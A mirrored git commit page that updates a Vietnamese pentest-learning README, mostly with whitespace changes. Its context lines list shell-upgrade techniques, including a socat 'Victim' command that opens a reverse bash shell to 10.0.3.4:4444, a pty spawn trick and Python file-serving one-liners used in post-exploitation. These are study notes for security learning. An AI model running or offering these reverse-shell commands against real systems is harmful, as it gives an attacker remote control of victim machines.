mirror of
https://github.com/haudang217/LearningSecurity.git
synced 2026-02-04 15:49:10 +00:00
Update Readme
This commit is contained in:
parent
bed03181e3
commit
b48a140195
@ -60,9 +60,9 @@ Sử dụng module "exploit/multi/handler"
|
||||
TẠO RA MỘT WEBSERVER SỬ DỤNG PYTHON
|
||||
|
||||
Python cung cấp module SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file với địa chỉ IP của của máy.
|
||||
• python2
|
||||
• python2
|
||||
python -m SimpleHTTPServer <port_number>
|
||||
• python3
|
||||
• python3
|
||||
python3 -m http.server <port_number>
|
||||
******* Port mặc định nếu không được khai báo là 8000 ******
|
||||
|
||||
@ -70,14 +70,16 @@ Python cung cấp module SimpleHTTPServer để biến directory hiện tại th
|
||||
|
||||
UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
|
||||
|
||||
• using python
|
||||
• using python
|
||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
• using socat
|
||||
|
||||
• using socat
|
||||
#Listener:
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
• using stty options
|
||||
|
||||
• using stty options
|
||||
# In reverse shell
|
||||
$ python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
Ctrl-Z
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user